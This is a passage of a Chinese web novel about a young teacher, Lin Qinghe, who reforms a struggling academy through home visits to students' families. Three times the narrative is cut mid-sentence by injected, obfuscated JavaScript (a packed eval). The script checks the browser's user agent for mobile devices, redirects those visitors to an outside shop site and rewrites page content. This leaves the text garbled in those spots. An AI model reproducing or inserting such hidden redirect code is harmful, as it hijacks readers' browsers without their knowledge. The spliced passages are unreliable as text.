看来这就是左丘栾的娘亲了,林清和暗中猜想,面上笑盈盈地说道:“不必麻烦下人了,左夫人,茶点味道很好,只是在下近来身体不适,大夫嘱咐少食糕点。” “原来如此,我还以为是左府下人招待不周,苛待了先生。”左夫人徐徐坐下,动作不紧不慢,语气淡然,“先生前来可有什么事,是不是栾儿在书院里做了不合时宜的事情?” 这位年轻的先生看着有些面熟,似乎在哪见过? 林清和见到左夫人慢慢悠悠的态度就知道,这位夫人已经听说了青山书院最新的消息,看样子似乎还和左丘栾说了退学,不在青山书院继续进学的事情,不然也不会这么不关心来自青山书院的先生。 作为一个生意人,察言观色是一个基本技能,不动声色地与客人和谐交流更是一项必修课,而现在左夫人的话语绵里藏针,又让林清和在正厅等待了两刻钟才姗姗来迟也不告知原因为何迟来。 “左学子并未做什么出格的事情,反而在书院之中勤奋好学,恭良俭让,是一位不可多得的好学生。”林清和好好夸了两句左丘栾。 左夫人不动声色用茶杯掩盖住了微翘的嘴角,右手微微向前移动茶盖轻轻嗑着茶杯,“先生过奖了,栾儿是什么性子,做娘亲的还是知道的,不必夸大。” 自己的儿子被书院的先生亲自上门夸夸挽留,不得不说,左夫人心里还是十分高兴,说明自己的儿子聪慧有天赋,对读书科举很在行。 左丘栾性子天真烂漫,善良柔和,常常为街头流浪的乞丐施舍铜钱,也为穷苦摆摊贩卖时蔬野菜的百姓买空货物,让百姓早早归家。有些人知道左家小少爷心性善良,见不得穷苦人家在受难,便经常出没在左丘栾出行的路上装可怜,向左丘栾乞讨。 就这样,左丘栾经常还未到书铺身上的银钱便以被掏空,等左夫人知道的这个消息时,已经过去一两个月了,她恨不得那些人去死,居然敢行骗到左府头上,欺骗一个未满十岁的孩子也不知羞耻! 经过此事,左夫人为自己心软善良的孩子感到担忧,也为左家的未来感到担忧,左家就左丘栾一根独苗,这性子怎么压得住做船运那些老油条,还不被骗个精光。于是便把左丘栾送去考科举,希望能在科举上夺得功名,不让人欺负了去。 “此次前来是为青山书院第一届家访活动事宜,我负责的学子中就有左学子。左学子在书院的日常学习中十分自觉,也能静下心来独自温书学习,这是他的优点。”林清和语调轻快,嗓音清冽如夏日清泉,让人听得耳朵舒服。 “家访活动?”左夫人疑惑,难道不是为了挽留栾儿在书院继续进学吗?难道栾儿还未和先生提出在家温书的事宜。 左夫人放下手中的茶杯,准备认真会会这位年轻的先生,看看他还能玩出什么花样。 “是的,家访活动。因为最近青山书院变动较大,剩下的学子和先生们之间平日里只是打过几次照面,并没有深入了解学生们的情况,所以有此次家访活动。先生登门拜访旨在了解学子在家中的进学情况,也和学生的双亲深入聊聊学子在书院的日常生活,也让左夫人你们知道孩子在书院过得好不好。” 这话一下子说到了左夫人的心坎里,虽然左丘栾平日里回家有问必答,但也没有主动说出自己在书院过得怎么样,有没有发生什么趣事,和同窗相处得怎么样。 左夫人的夫君常年出门在外行商走船运,一年到头在家的日子也不过一两个月,左夫人不仅要顾着府里的内务还要看管着定江县内的产业,对左丘栾的书院生活心有余而力不足。 “哦?那栾儿在书院中是什么模样的,还请先生说说。”左夫人平静的面容终于有了波动,眸光里闪烁着光芒,又忽然抬手对身边的侍女吩咐道:“请老爷老夫人也一块过来听听,就说栾儿的先生来家里拜访想了解家中的栾儿是何种模样。” 左夫人日常繁忙,对左丘栾照顾的通常是他的爷爷奶奶,要是林清和问起左丘栾在家中的事,她还真不好答上来。 侍女朝左夫人一福,又朝林清和一福,倒着身子到门口才转身出去。 “还请先生稍等片刻,栾儿吃住都在书院,老爷老太太想念得紧,今个儿先生带来了栾儿的消息,也想让他们一起听听,不会耽搁先生的时间吧?”左夫人问的客气,却是在做了决定之后才向林清和商量,实在是打人脸面。 林清和也不恼,笑意若清风拂面,:“既然是家访,当然是学子家中亲人长辈都在场才好,书院也能更加全方面的了解学子,针对学子的弱点,定制个性化教育发展路线,为学子找到更适合的学习方法与目标。” 来让你们都吃一吃来自现代的忽悠大法之画大饼。 他已经想好对当前青山书院的改革计划,让青山书院不止提供朝廷官员一条发展道路,更要提供各式各样的人才,让青山学院出去的学子在哪里都是一方人才,抢着要的人才。 当然,他不能这么对学生家长说,你家孩子的目标是继承家业准备经商,他要说,科举的目的是什么?是做官,那要怎么做官呢,怎么样才能做好官,处理好朝廷事务?这就是值得让人深究的科目了。 青山书院有着光理帝时期退下的官员,也有此时在朝为官的官员,更有来自林清和的未来现代化思想,何愁不知道怎么做官。 “还请先生喝喝茶,润润嗓子。”左夫人举着茶杯朝林清和遥遥一举。 毕竟是古代,男女共处一室实乃大防,虽有婢女仆从在,也要隔远着坐,四处开窗,让远处的人也看得见这里没有发生苟且。 林清和拿起茶杯,朝左夫人一敬,慢慢饮下,等下还有个硬仗要打。 不一会儿,左老爷和做老夫人被侍从搀扶着进门,两位老人已经是花甲之年,但养生的功夫很不错,皱纹细碎,眼睛还有明亮的神采,只是行动上略有不便,需要侍从搀扶。 “这就是栾儿的先生?这么年轻?”左老爷杵着一根乌木拐杖,说话的声音很响,估计是有点耳背,所以不自觉地大声说话,认为自己的声音仍是正常的音量。 “看着不比栾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133434|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿大多少,先生贵姓啊?”相比之下左老夫人就显得很亲切,和蔼可亲询问林清和。 “免贵姓林,林清和,是青山书院的先生。左老爷左老夫人好。”林清和礼貌回应两位老人家的问题。 左夫人一怔,林清和,那个十六岁就考取举人的少年天才,当年林清和考得举人,定江县当时的县令直接凭借学风鼎盛,培养出了举人升迁到了一个富裕的州,做州长了。 她的印象极为深刻,因为那时正巧碰上她夫君归来的日子,原来是他,但也是他九年考不上一个贡士,春闱失利三次。 现在在青山书院当先生是放弃继续春闱了吗?左夫人想起最近青山书院的风评,心中不免为林清和感到可惜,但也仅仅是这样而已,她目前为止还是决定让左丘栾离开青山书院,去别的书院继续就读。 “既然人都到齐了,林先生继续吧。”左夫人开口。 “左学子虽说在学业上十分刻苦,可有时遇到难题会偶尔钻牛角尖,自个儿苦思冥想,不敢向同窗询问,也不敢向先生寻求帮助,大约是不想麻烦别人。这样一来于学业上慢了其他学子一步,但好在先生看他苦头闷学也会指点他一二,所以说合适的学习方法还是很重要。” 左夫人听到左丘栾怯于向先生同窗解决难题时,就皱起了眉头,心性这般软弱可欺,未来怎么办才好,是不是该相看一个性子厉害的小姑娘帮扶着。 “什么?不敢问问题?栾儿不是说学业一切都好,最近好几次课业都得了甲上吗?难道是骗我们的?不可能,栾儿一向真诚善良,不可能做这种骗人的事情。”左老爷立马大声质疑林清和。 林清和马上解释了刚才的话只是说左丘栾不愿意麻烦同窗和先生,并不是意味着最近的课业成绩不好,还向左家人说了好几件左丘栾在书院里发生的趣事,引得两位老人家哈哈大笑,左夫人的脸上也有了明显的笑意。 抓住这个好机会,林清和趁机问了左丘栾在家里是什么样子,平时有什么喜欢做的事情。 左老夫人笑呵呵地回答:“栾儿在家中常来我们两个老货的院中陪我们说说话,捏捏肩,吃吃饭,孝顺长辈,也时常在书房中温书,下人路过书房时都能听见他的读书声,可谓勤勉,在家中也不曾懈怠。至于喜爱做什么……小时候倒是会出门施舍,长大了……” 左老夫人陷入了沉思,栾儿喜欢做什么,有什么爱好…… 顺着这个问题,左夫人一下子也想不起,栾儿有什么喜欢做的事情,扪心自问,她是个不合格的娘亲。左夫人沉默下了脸色,面上也没了笑意。 林清和就知道古代教育哪有人关注孩子的心理健康,喜欢做什么,有什么兴趣爱好,只会为子女规划好他们认为好的未来一生方向。 好半晌儿,左老爷子才杵着他的拐杖洋洋得意的说道:“你们婆媳俩都别想了,栾儿喜欢帮他娘亲算账本,他亲口跟我说的,做不得假。” 他朝林清和得意的眨眨眼睛,还是老爷子我厉害吧。 “看来左学子的爱好比较特殊,喜欢帮娘亲算帐本,又孝顺又有益于学业的进步,怪不得左学子所有的科目算学最好,连先生都在课堂上夸奖,原来是家学渊源。”林清和笑若春风,“很适合往户部这个方向去发展,不然这么好的天赋算是白费了。” 左夫人瞬间从失神中恢复过来,你说什么,户部?连老两口的兴致都被林清和提起来了。 “你……林先生,您刚才进门说的那个什么个性化教育是说这个方面吗?”左夫人不愧是常年在生意场上做交易的人精,一下就联想到了林清和刚开始说的家访目的,就是为了了解学子的情全面况,定制个性化教育发展路线。 “青山书院成立时间是不长,左夫人不要忘记了家父之前是做过朝廷官员,且朝中现在也有家父的好友,青山书院也有几位师兄目前在朝廷为官。”林清和朗声笑道:“他们非常清楚朝廷官员制度,需要什么样的官员,怎么样为官,官员需要什么样的技能。” 左夫人听得呼吸急促,瘦死的骆驼比马大,这些教学科目一出来,栾儿何愁未来,其他书院半点也比不上青山书院! 学,必须在青山书院学,往死里学! 10. 第 10 章 左丘栾在他不知道的时候,他不断学习的未来生活已经被敲定下来。 对于林清和来说这是一场成功的家访,不仅将家长为孩子转学的想法打消,还为书院拉来了一个提供实习岗位的机会。 没错,林清和画大饼画到最后还说出了书院将为学子提供一些岗位进行做官技能的模拟测试。就比如,作为一个县令如何让百姓不流失到其他繁华的县,那当然是为百姓提供更多的工作岗位,百姓有田地耕作,农闲时还可以到县里寻找散工,多挣几枚银钱过一个好年。 那如何为县里创造更多的工作岗位,商的重要性就出来了,只有县里商铺生意旺盛,自然会引来大量的人流,商铺就会找牙行招人,如此循环,县里的百姓安居乐业,蒸蒸日上。县里的税收就会增多,作为县令,升迁就是板上钉钉的事。 因此,做官不得不知道要怎么做生意,还要知道经商上的困难,为商户求得公平的市场环境。 左夫人当即决定为儿子旬休回来开如何经商的小灶,作为一个世代经商的人家怎么能比别人差了去,还对林清和许下诺言,若有任何需要帮忙的地方,尽管开口。 林清和顺势说出,若左夫人能让青山书院学子参观左府名下的产业如何经营以及为学子模拟测试时提供一些符合的工作岗位就再好不过了。 左夫人稳住表情,带着淡淡的笑意答应了林清和的请求,还亲自送林清和出府,足见左夫人对左丘栾未来的重视。 林清和被左夫人亲自送出府的一幕被不少居住在附近的百姓看见,都在纳闷着左夫人为什么会对一个年轻的书生这么热情。 有人看出这是青山书院的林清和,又听闻林院长最近卧病在床,青山书院的先生和学子都跑了不少,林清和此次前来如无例外应该是挽留左府的独生子左丘栾继续在青山书院进学。 看来青山书院真的没落了,居然还为了挽留学子登门拜访,有辱斯文,连带着拉低了其他书院教书先生的底线。 但是为什么左夫人会这么热情的送林清和这就非常让他们不解了,商人往往无利不起早,能和左府一起做邻居的往往都是生意人,他们一细品,莫不是左府要开始涉足书铺的生意了?可,左府主要经营的业务是船运和书肆格格不入。 也有人猜测林清和想将无法挽救的书院卖给左府。 见林清和路过,这些生意人不管心里是什么想法,面上还是见人就带着三分笑意,热情的打了声招呼:“林举人好,今天怎么来西市了,要买什么可以报我的名字,有优惠。”当然,若是生意成了,本人还能在其他商户那里获得一份佣金。 谁说古人经商手段不够多,优惠都出来了,林清和笑笑道:“今天来左府进行家访,和左夫人聊聊她儿子,方便书院对左学子因材施教。这位老爷有兴趣到青山书院来参观一下吗?最近书院在进行改革,有很多很有意思的新鲜科目。” 既然碰上了生意人当然要好好宣传一番,万一有机会能多出一个行业的实习供应地呢? “家访?”这位老爷中等身材,面容憨厚,矮胖矮胖的,姓张,是这里买卖金饰品的。 “是的,家访。这位老爷有兴趣,家中可是有进学的学生?老爷了解自家孩子在书院是什么情况吗,有没有隔三岔五接到先生反馈学子的课业进度呢?” 张老板被林清和的一连串问题问住了,这,这还真没有收到过准确的回答,基本上都是每月的考问得出一个成绩,至于如何学,怎么学,先生反馈学子学业进度啥都没有。不止是没有,他还要隔三岔五带着礼品上门拜访先生,才能得到一点消息。 这么一想一对比,他简直血亏啊!这江缘书院对学生的上心程度好像远远比不上亲自登门拜访向学子长辈的青山书院。 “这……我有空去青山书院看看,到时候林举人可不要嫌弃我烦人就是了。”张老板先是迟疑了一下再是朝林清和作了一揖。 一个举人的热情当街邀请还是让他很有面的,这可是举人啊,平常举人哪里是能轻易见到的,根本没有举人会来西市。西市来往的只有各家的下人,穷苦百姓和来此做生意的胡人,不乏有一些纨绔子弟,也仅仅这些人了,自诩清高的世家和官员从不踏入卑贱的西市。 “不会不会,也可以多带几人一块参观,青山书院热烈欢迎。”林清和扶起张老板的手臂,“不必多礼,我还有要事在身先行离开了。” 送别林清和,张老板心中感叹,林举人性情平易近人,就是时运不济了些,没考上贡士,此番回来才遭了祸。 周边的生意人看见林清和走远了,三三两两过去将张老板围起来八卦他们都聊了些什么。 青山书院先生登门拜访,因材施教,即将改革的消息从定江县内各处传开,颠覆了长久以来先生只能由学子和学子长辈一同登门拜访的原则,还别说,书院先生能和学子双亲坐下来仔细谈论学子的成长发展计划。 书院的教书先生一般同时教导好几个班,除非说那位教书先生要收某位学生入他门下,经过拜师礼,先生才会为他单独讲学,登门拜访等行为。可以说师徒关系仅次于父子关系,学生拜师后一样要为师父养老送终。 林清和手上还有四位学生,他也不着急,打算按计划进行,现在么,先回家吃饭,看看装病的老头子,然后回一下小师弟的信。 他回到家的时候,林槐夏还没有回来,府上已经准备好午饭就等着开饭了。 饭桌上的人只有木竹秋和林清和两个人,林启春还躺在床上装病。 林家并没有饭桌上不能说话的规矩,林清和说起今天出门时遇上衙役强收一个老汉的占地税,但占地税这个税目根本不存在,老汉的手还被那衙役头子踩伤,也不知情况怎么样,手指有没有折断。 言谈之间对老汉的遭遇多有怜惜。 “若你通过科举为官,这样的事情就会减少发生,大四月。”木竹秋柔声提出劝慰。 林清和含笑摇摇头,“娘亲,这种事情并不是多我一个就能改变。”一个人得力量怎么比得过一个时代的力量。 木竹秋哑然,这孩子半分不肯让,有时候看得太清楚也不是一件好事。 随后又谈起白琅月孤身一人身处光都,来信的内容都是值得高兴的事,也没说遇到社么难事,不免让木竹秋忧愁。 林清和一阵心虚,小师弟的信已经到了好几天了,他还没有时间拆开看看里面写了些什么,只能嘴上安慰,小师弟已经是个成年人了,有什么事情能自己独立处理解决的,小师弟比他靠谱多了。 用完了午膳,林清和跟着木竹秋一块去往林启春的房间,准备和他说说书院最新的发展情况,只是不知道林启春能不能接受。 “爹,这几日身体好些没?书院的事情你不用担心有我看着,好的很,都没有人离开。”林清和进门坐下就是骑脸开大。 躺在床在的林启春捏紧了在被子底下的拳头,孽子,一来就说点不中听的话,:“咳咳,好些了,听你娘说最近你在搞什么家访活动,书院先生怎么能上学子的家门,你也不怕青山书院又多一个臭名声。” “老头子你这就不用担心了,好好养病吧,过两日我再请李大夫给你号个脉,看看是不是真的好转了,毕竟你是有前科的人,带病讲学结果让自己在讲学的时候晕倒在地,吓坏一帮学子。”林清和毫不客气掀起了林启春的旧账。 林启春气急,一双凤眸蓦地睁圆,一想到自己是装病吐血才把儿子骗到书院教书的,不能漏出破绽,不能反驳,只能恨恨说道:“滚一边去,不把书院名声恢复过来你就不要过来见我了。” “得嘞,大四月我就告退了老爹。”林清和得意地挂着一抹贱贱的笑容告别双亲,神清气爽地走向他自己的书房。 让你老头子装病,嘻嘻,有苦说不出了吧。 一边打开白琅月的来信,一边走到窗边斜斜倚靠。 见字如晤,展信舒颜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133435|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 近来一切可好,自从光都码头一别,已有数日未曾听闻小师兄的消息,今于茫茫夜色之下展信落笔。我已顺利通过殿试,得中状元,不日便可回定江县……谨遣数行,希还一字,琅月敬上。 日光平铺纸面,字字灼人眼球,林清和一行行掠过,白琅月在夜色下提笔落下的字字句句,饱含思念的情绪,光都中有趣的见闻,皇宫里殿试时面见新帝时的紧张,描绘路过皇宫别廷里不为人知的景色,琼林宴上的曲水流觞,觥筹交错,心中却在想念林府的一草一木,还惦念着小师兄这次回去的禁闭结束了没,家中一切可好? 满满的思念溢出纸张,可怜纸短未能一一道来。 林清和暗叹,头一回小师弟一个人独自在外那么久,孩子想家是正常的,放在现代小师弟也只是个清澈愚蠢的大学生,社会阅历基本等于没有。 只可惜他们家的小师弟,小小年纪就要勇闯官场,和一群老狐狸勾心斗角,好好的孩子也不知道回来变成什么样子。 林清和将信封合上,踱步到书案前面坐下给小师弟回信,他写信主打一个随心所欲,想到什么写什么。 写了回来后青山书院名声因他一落千丈,为了让他接手书院,老头子还装病在家,他接手书院,让学子做调查问卷,去学子们府上家访,想来家访后,书院的名声也能有好转。他也把常年宅家不出门的小四月拉来做副院长,小姑娘精力充沛,干劲十足,今天出门做家访去了。 信的末尾林清和详细写下了他对青山书院改革的计划,让白琅月看看如何,他还在信纸上画了个想念的表情包给白琅月,并随信附上了多余的调查问卷,让小师弟也做上一份。 不得不说,林清和还是很坏心眼的,就算自家小师弟远在光都也避免不了一张调查问卷,林清和只能说师兄都做了,师弟肯定不能落下。 林清和花了小半个时辰终于将信写完,待墨迹干透,装好信,林清和就揣兜了出门寄信去了。 寄完信后,林清和没有耽搁,快步走回青山书院,去了解下先生们的家访进度和结果怎么样了,有没有遇到困难,毕竟现在是书院改革初期,他还是得把握大局,多思考才能不走弯路。 青山书院的学子今天一整天无论做什么事都心神不宁,尤其是在中午的时候看到了张贴出来的公告,每个学子都带着点焦躁不安。 还有些学子试图从洒扫仆从那里得知先生们都去了哪个学子的府上,担心是真的担心,这都开始病急乱投医,问到洒扫身上了,最终只获得的是一个个茫然的眼神和不知道的答案。 胡宋明胡先生是最快回来的,他的速度还很快一早上就去了两家,还被其中一家热情邀约留下来用午膳,这才拖慢了回来的时间,他还是想着下午他有课才赶着回来,不然就直接出定江县去最近的镇子上拜访下一位学子的长辈了。 林清和恰巧在书院门口碰上白相,两人一路同行,讨论着去家访时的情形。路途中间不断遇上前来问好的学子。 白相有些奇怪,平常也没见书院前院有这么多的学子在这里温书啊。还是林清和一语道破,“这是想打听我们去哪个学子府上回来了,开口了又不好意思开口问,喏,咱们身后还跟着小尾巴呢。” 白相朝后一看,果然看到了青山书院特有的靛青色学子袍衣角出现在院门拐角,他不由地一笑,:“还真是,院长你是怎么知道?” “一看白先生就从来没有在书院学习时偷过懒,还很勤奋,是书院先生的得意子弟。”林清和对白相的第一印象就是专注自我专业,不问世事。这样的人怎么会懂有些学生为了不学习做出过哪些操作。 “白先生,有些学子不会像你一样不担心书院先生突然去他的家里,大部分学子都会有这种隐忧,先生为何会突然上门,会和爹娘聊些什么,我回家以后会不会被打?” 林清和意味深长的笑着。 某个藏在不远处银杏树下的学子听到这句话,瑟瑟发抖。 11. 第 11 章 新来的院长未免也太可怕了吧,怎么会想出这么歹毒的办法去掀学子的老底,也不知道回家了以后还能不能吃上一顿饭。 呜呜,回家要被赏一顿竹笋炒肉了…… “原来如此,学子居然还会有这样的疑虑,我以为学子们是为了不能在青山书院继续进学而感到担忧。”白相不好意思的说出自己的想法。 额,这个想法也是蛮有趣的,林清和勾起嘴角,“白先生可用过午膳?不要为了家访的事情不吃午饭。” 刘先生对自己的弟子日常担心,还真是没有担心错,之前林清和还以为刘先生的做法有些多余,没想到啊。 “已经吃过了,没想到我们书院学子家的双亲这么热情,一听我是书院来的先生都高兴坏了,以为我看中了他们的儿子要收徒弟。”白相娓娓道来,“解释是家访之后,依旧热情,不如说,更加热情了。” 说到这白相有些不解,“为什么没有收学子为徒弟,他们反而更高兴了?” “我们到了,白先生。等下大家都到了,我们一起讨论可能得出的结果会更加准确。”林清和率先踏入先生院门内,就看见胡先生在大圆桌上写着什么,不时还拿起其中一张写满字的稿纸来回做对比。 胡先生对面坐着林槐夏,她身后还站着两个侍女正捧着两叠白纸,林槐夏本人也和胡先生一样不停写着些什么。 “少爷好。”两位侍女齐声朝林清和一福。 “林院长,白相,你们来了,快坐下。”胡先生朗声招呼他们坐下。 “哥哥你也来啦?”侍女的声音惊起了林槐夏,她手执一管狼毫扭过头看了一眼林清和,又继续低头挥动着狼毫书写。 林清和点点头,好奇的问道:“你们在写什么?吃过午饭了吗?” “已经在书院食堂和胡先生一起吃过了,我们还探讨了不少关于家访的问题,你怎么那么慢才来,我和胡先生已经写了好一会儿了。” 林槐夏你个卷王,小时候卷学习,卷进度,现在开始卷家访,卷工作效率,你怎么那么拼,对得起你书香门第大家小姐的形象吗,林清和暗暗腹诽。 “我回家看看爹,跟爹聊了一下书院的改革计划,爹听完之后十分支持我的书院改革计划,让我们尽管放手去做,有什么后果他担着。”林清和坐在林槐夏旁边的位置上,随手拿起林槐夏已经写完的稿纸看了起来。 林槐夏对于兄长说的话,半个字都不信,分明就是回家吃饭来晚了,要是爹爹知道兄长对书院做这些离谱的改革计划,爹爹能在床上大喊孽子滚蛋。 不得不说,林槐夏还是真相了一部分,林启春现在为了让林清和乖乖留在书院骑虎难下,既不能说自己装病,也不能对书院管太多,万一林清和下一秒发现他装病直接跑路怎么办。 嗯?小四月写的东西有点儿意思啊,有点九年义务教育的雏形了,天才果然是天才,无论做什么都很有天赋,看看这写的看法。 为了满足学子不同的求学目的,可预先设立一个通用班级学习基础知识和技能,学子通过考核可选择离开书院外出谋生,也可继续选择科考,或是深造某一个科目,对从事某一行业更具竞争力,这里林槐夏举例了算学的发展方向。 这不就是中考,高考完后根据意愿和分数线来决定去职业技术学院还是考高中大学吗,厉害了呀,我的妹妹。林清和一边看着一边满意的点点头,看来这些年潜移默化的现代理念灌输是有用的。 小的时候林清和得知这辈子的母亲生下的是一个小妹妹,高兴之余还十分担心,古代的婚姻嫁娶制度,生怕小四月未满十六岁就出嫁了,于是在小四月话都还没会说的年纪,就在妹妹耳边念叨一个个负心渣男的故事,男人没一个好东西。 因此,林槐夏潜意识里根本不想成亲,尤其是在长大后和娘亲在各家后宅走动时遭遇到不少的阴私,少而早慧的她敏感地意识到成亲嫁人绝不是一件好事。 “怎么样,兄长觉得还行吗?”林槐夏轻轻抽出林清和手中的稿纸,眉目间跳动着飞扬的神采。 “不是还行,是很不错的想法,但我们可以想大一点,打造全方位综合一体的书院,为大光输送不同种类的人才,想想以后朝中当官数量最多的是青山书院的学子,在外行商最多的是青山学子,做到每一个行业中都有青山学子优秀的身影存在。” 不知何时到达的季先生和刘先生听到林清和这一番话简直惊呆了,什么什么?家访回来书院怎么变天了,这是烂名声的青山书院该有的想法吗?但是听着好令人心动怎么办,不止是在仕途有学生,连各行各业都有学生,那岂不是字面意义上真正做到了桃李满天下。 光是想想先生们就已经是心跳加速,呼吸急促,手心发汗,试问哪个做先生没有做过这个桃李满天下的梦。 “什么看法,让我们也看看。”刘先生蠢蠢欲动走过去就想拿走林槐夏手中的稿纸,没想到被胡先生抢先一步。 “我先看,你们等等,我倒要看看小姑娘家家的究竟写了什么,竟然能让你小子提出全方位综合一体书院的想法。”胡先生毫不客气抽走了林槐夏手里的稿纸。 “哈哈好哇,你看完只会佩服我怎么想出了如此天才的主意,而且这个综合性的书院开办起来还少不了一群小白鼠的实验,他们简直是绝佳的实验体。”林清和仰天大笑又抛出一个令其余人炸裂的说法。 什么小白鼠?什么实验?这又是什么奇奇怪怪的说法?哥哥又提出了什么天马行空的想法,听着好有意思,好想一起试试看啊。林槐夏激动暗想着,脸上还维持着得体的微笑。 “哥哥,你先给我说说,等下先生们看完再和他们讲,好不好?”林槐夏偷偷靠近林清和小小声的说道。 林清和转过身趁着先生们都在观看揣摩林槐夏的手稿,悄悄和妹妹嘀嘀咕咕说完自己对当前书院的发展计划,包括怎么忽悠学子的双亲投入书院资金以及其他帮助。 林槐夏听完之后,看着兄长的眼神复杂,这还是笨蛋哥哥应该有的智商和想法吗?想法意外的靠谱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133436|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是,小四月你这是什么眼神,让我有种感觉,我在你眼里终于是个人了的错觉。”林清和一直知道普通人和天才的差距,但是也没那么离谱吧,一直以来都不被认为是同一种生物,是什么鬼啊。 林槐夏点点头,一脸欣慰。两个侍女在他们背后抿嘴偷笑。 “想法大胆新颖,开前人之未有,如若成功必定能在当世一举成名。”刘先生开口断定。 大光王朝的教育制度目前还只存在于为了单一目的而开设,其他专业性强,需要长时间学习的技能类项目往往是师徒传承,诸如:木匠、铁匠、厨师等等。 一所能满足所有人求学的目标的书院在大光王朝是不存在的,而林清和所做的事情就是建立一个这样的书院,打破知识的垄断,点燃星星之火,激浊扬清,去芜存菁。 “一旦开始必然困难重重,首先就是教书先生的问题,我们去哪里找那么多的师父,这些手艺人没有哪个会免费过来带徒弟,哪个不是敝帚自珍。”胡先生点明了书院的困境。 林清和没有正面回答这些问题,反而说起白相在进门之前问起的那个问题,“诸位先生可知为什么白先生没有收学子为徒,学子双亲比之前更加开心了?” “因为从来没有哪个教书先生登门拜访只为了解众多学子中平平无奇的一个,而且这位教书先生甚至能说出这学子在书院中发生的三两趣事,学子长辈认为这家书院对他们的孩子用心不同于其他高高在上的书院,孩子的未来也值得青山书院这么做,因为青山书院变相认证了这一点。”季先生不愧是诗赋专长,经过一场家访的洗礼就灵敏的察觉学子双亲的情绪。 “季先生说的不错,单单是一场家访就能改变学子双亲中青山书院的形象,也改变了我们书院不同于其他书院对学子的教育方针。”林清和双手合击发出清脆的响声,一双凤目光彩动人,言笑晏晏。 林清和噙着笑又继续说道:“我们这次书院的改革初次计划实际上可以结合科举为官来实施改变。作为一个合格的官员应该具备什么样的能力,仅仅是靠科举的那些理论知识是不够的,还需要走到百姓中发现真正需要的能力,才能不被蒙骗。” “书院的义务不就是让学子们怎么通过科举吗,现在科举都还未通过何谈为官之道?”胡先生提出疑问。 “若是学子不能通过科举,他学习这些做官需要的技能岂不是白白浪费,书院也会被埋怨。”林槐夏也说出有些学子并不能通过科举的事实,毕竟科举年年都有学子参加,中榜有之,落榜只会更多。 “难道你们忘记了,做官的都一定是通过科举的学子吗?朝廷律法中也有通过特科做官的,也有直接去当地衙门做编外人员,积累到一定的贡献直接转为正式官员。”林清和解释道。 “我想起来了,女帝时期那个以仵作之身做到了刑部尚书的狠人!一查起案子就让当时的世家大族朝廷官员胆战心惊。他曾说过,尸体会说话。我小时以为刑部尚书他能通鬼神。”刘先生擦擦额上细密的汗水。 12. 第 12 章 儿时爹娘常常拿着刑部尚书的事迹来给刘先生当作睡前故事,也正因为如此,刘先生的思考方式往往更加贴近事实,深入人心,明白人性,在做策问时的点更懂结合不同形势。 “因此,我们可以在家访时换个恰当的说法,和学子家长说明这些学识和手艺是做官的必备,不然就会被下面的人轻易蒙蔽,背上一口大黑锅。” “在家访时也可适当透露出,家访是为了观察学子适合往官场的哪个官位方向发展,大概能做些什么官员,如果学子长辈许诺能提供帮助,那就接下来,这样我们就有银钱或者是新的先生了。” “哦,对了,忘记说了家父之前是状元是做过朝中官员的,现在也有好友在朝中当官,我们书院之前也有几位师兄在朝中做官的,这些都能和学子双亲说说,毕竟定江县内还有哪个书院比我们书院有优势知道官该怎么做,朝中近几年需要哪些官员呢。” “想必有些长辈都不舍得先生出自家大门了。” 此刻说出这些话的林清和让在场的先生仿佛见到了林启春本人的样子。 “诸位,现在是书院的生死存亡之际,非常时刻当行非常事,况且我们此时此刻也在开创一个新的教育模式。” 彻彻底底堵住了先生们欲言又止的话语。 林清和又说了几个需要注意的地方,让先生们下午家访时不要随意答应学子长辈的过分要求,比如一定能当上官之类的条件。 随后又讨论了第一轮家访中遇到的问题,虽然说大部分学子的长辈遇到书院先生登门都会十分配合,然而也有少部分不够合作的,但随着家访进度的深入,态度也会好转。 林槐夏也因为女子之身作为书院先生登门拜访而被人轻视,不过林槐夏机智的化解了来自学子双亲的刁难,学子的双亲也被她的学识出众深深折服。 想着青山书院连一介女子的学识都如此渊博,又是前任状元院长之女,不必说做到了副院长之位,还能因为学子的课业情况登门拜访,可谓是苦心孤诣。 刘先生和季先生听他们分享的心痒痒,早上他们有课,只是出书院到车马行问问他们手上几个学子的家在哪,远不远,来回时间,作价几何。 之后两位先生就回来给两个班的学子进行讲学,看着堂下惴惴不安的学子,他们只觉得好笑,原来这些学生也不是全然不怕的。 悄悄这些不安的小表情。 好在下午的科目不是他们两个上了,换到了胡先生和白先生,也不知学子们会不会缠着问家访情况。 家访分享会散了之后,林清和打算在书院内继续完善他的书院改革计划书,累了的时候还能看看书院学子刻苦学习的场景。 林槐夏也没着急着去下一家,她在做去下一个学子家时会遇到什么样的问题的预判以及怎么样巧妙地植入家访的另一层目标。 